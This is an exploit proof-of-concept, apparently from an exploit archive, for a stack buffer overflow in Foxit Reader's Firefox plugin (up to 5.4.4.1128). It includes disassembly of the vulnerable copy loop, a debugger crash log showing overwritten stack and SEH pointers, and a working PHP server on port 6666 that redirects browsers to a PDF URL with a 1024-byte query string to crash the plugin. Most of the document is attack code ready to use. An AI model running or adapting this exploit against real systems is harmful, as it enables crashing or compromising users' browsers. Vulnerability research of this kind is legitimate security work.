Foxit Reader <= 5.4.4.1128 Firefox Plugin Stack Buffer Overflow

<?php
/*
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod
 
(listener)
 
Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128
 
File: npFoxitReaderPlugin.dll
Version: 2.2.1.530
 
Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe
 
Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:
 
http://192.168.0.1/x.pdf?[A x 1024]
 
File must be existing or the server should be responding with
the proper Content-Type header.
 
vulnerable code, npFoxitReaderPlugin.dll:
 
;------------------------------------------------------------------------------
 L1000162F:
        push    ebx
        push    esi
        push    edi
        mov edi,ebp
        or  ecx,FFFFFFFFh
        xor eax,eax
        xor ebx,ebx
        xor esi,esi
        repne scasb
        not ecx
        dec ecx
        test    ecx,ecx
        jle L100016E4
 L1000164A:
        mov al,[esi+ebp]
        mov word ptr [esp+18h],0000h
        cmp al,25h
        jz  L10001661
        mov ecx,[esp+1Ch]
        mov [ebx+ecx],al
        jmp L100016CE
 L10001661:
        mov al,[esi+ebp+01h]
        cmp al,30h
        jl  L1000166D
        cmp al,39h
        jle L1000167D
 L1000166D:
        cmp al,41h
        jl  L10001675
        cmp al,46h
        jle L1000167D
 L10001675:
        cmp al,61h
        jl  L100016C6
        cmp al,66h
        jg  L100016C6
 L1000167D:
        mov dl,[esi+ebp+01h]
        inc esi
        inc esi
        lea ecx,[esp+10h]
        mov [esp+18h],dl
        push    ecx
        mov al,[esi+ebp]
        lea edx,[esp+1Ch]
        push    L100450D4
        push    edx
        mov [esp+25h],al
        call    SUB_L10006421
        mov eax,[esp+1Ch]
        lea ecx,[esp+24h]
        push    eax
        push    L100450D0
        push    ecx
        call    SUB_L100063CF
        mov eax,[esp+34h]
        mov dl,[esp+30h]
        add esp,00000018h
        mov [ebx+eax],dl
        jmp L100016CE
 L100016C6:
        mov ecx,[esp+1Ch]
        mov byte ptr [ebx+ecx],25h
 L100016CE:
        inc ebx
        mov edi,ebp
        or  ecx,FFFFFFFFh
        xor eax,eax
        inc esi
        repne scasb
        not ecx
        dec ecx
        cmp esi,ecx
        jl  L1000164A
 L100016E4:
        mov edx,[esp+1Ch]
        pop edi
        pop esi
        mov eax,00000001h
        mov byte ptr [ebx+edx],00h
        pop ebx
        pop ebp
        pop ecx
        retn
;------------------------------------------------------------------------------
 
this copy loop ends up in overwriting stack pointers, then
(by attaching to plugin-container.exe):
 
(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10016852 8906            mov     dword ptr [esi],eax  ds:0023:41414141=????????
...
Attempt to write to address 41414141
...
 
also SEH pointers are overwritten
*/
 
error_reporting(0);
 
set_time_limit(0);
 
$port = 6666;
 
$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
                "Server: Apache\r\n".
                "Location: /x.pdf?".str_repeat("A",1024)."\r\n".
                "Content-Type: text/html\r\n\r\n";
 
$____boom     = "HTTP/1.1 200 OK\r\n".
                "Server: Apache\r\n".
                "Accept-Ranges: bytes\r\n".
                "Content-Length: 60137\r\n".
                "Content-Type: application/pdf\r\n".
                "Connection: keep-alive\r\n\r\n";
 
$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);
 
if (!$socket) {
  echo "$errstr ($errno)\n";
} else {
  echo "Listening on public tcp port ".$port." \n"; 
  while ($conn = stream_socket_accept($socket)) {
    $line=fgets($conn);
    echo $line."\n";
    if (strpos($line,".pdf")){
      fwrite($conn,$____boom);
    }
    else {
      fwrite($conn,$____redirect);
    }
    fclose($conn);
  }
  fclose($socket);
}
?>

#  0day.today [2018-01-04]  #